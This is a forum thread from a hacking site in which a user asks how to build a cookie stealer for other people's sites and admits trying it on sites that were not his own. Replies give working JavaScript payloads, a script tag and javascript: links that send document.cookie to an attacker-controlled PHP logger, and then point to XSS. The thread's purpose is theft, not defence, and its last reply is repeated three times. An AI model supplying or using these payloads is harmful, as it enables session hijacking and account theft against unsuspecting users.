Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Cookie stealing


ghost's Avatar
0 0

Sorry wrong forum*

Hi, I'm trying to create a cookie stealer and not like this witch I quite fast was abel to create: markup<a href="javascript: location.href='http://somesite.com?cookie='+document.cookie">Klick me</a>

What I want to create is something like this markup<a href="javascript: location.href='http://victim.com'; location.href='http://somesite.com?cookie='+document.cookie">Klick me</a> That does not work, why I dont know. I've tried alot of things but nothing works.

I hope someone knows how to do this, and that my English is good enought for understanding.

NOTE: this is not a script I will use to attack any sites but my own. It is only for fun and learning.

Thanks!


ghost's Avatar
0 0

Only for your own site huh? Somehow I doubt it.. haha, anyway you're going to need to use some PHP to do this.


ghost's Avatar
0 0

Yes for my own site for learning and fun, doubt it if you want. Do you have a link or something to a site where I can read about it or can you explain more detailed?

thanks


ghost's Avatar
0 0

<script> document.location = 'http://yoursite.com/blah.php?cookie=' + document.cookie; </script>

the blah script needs to GET the GET, if you know what I mean. Then write it to a .txt or something.


ghost's Avatar
0 0

try something like this

&lt;a href=&quot;javascript: window.location.href=&#39;http://www.site.com/stealer.php?c=&#39;+document.cookie&quot;&gt;Here&lt;/a&gt;

and stealer.php has a code getting the GET var and logging it or echoing or whatever.

[EDIT]I didnt see spyware's post, its basically the same thing[/EDIT]


ghost's Avatar
0 0

Thanks, but I've already created a php script for logging the cookie in a txt file. I had only problems becaues the script you show is a script that requiers that you post it on the site you want to steal the cookie from. What I want is that for example: a user checks my site called hacker.com/cookie.php and clicks on a link and therby gets redirected to for example hotmail.com. When the user is att hotmail .com then it redirects the user back to my site (hacker.com/stolen.php?cookie=the cookie).

I was able to create a script for this but it did not work on every site i tested. Okay I have to admit I used this script on 2 other sites that was not my own but I have no intention of hacking them and I am allowed to do so by the admin.


ghost's Avatar
0 0

what you are trying to do is impossible then because only the cookies of a local site can be accessed by javascript's document.cookie. So unless you put the link on hotmail, it wont work.


ghost's Avatar
0 0

Try searching for a cross site scripting way to do it. (XSS) Search on google XSS cookie stealer. Might help.


ghost's Avatar
0 0

Try searching for a cross site scripting way to do it. (XSS) Search on google XSS cookie stealer. Might help.


ghost's Avatar
0 0

Try searching for a cross site scripting way to do it. (XSS) Search on google XSS cookie stealer. Might help.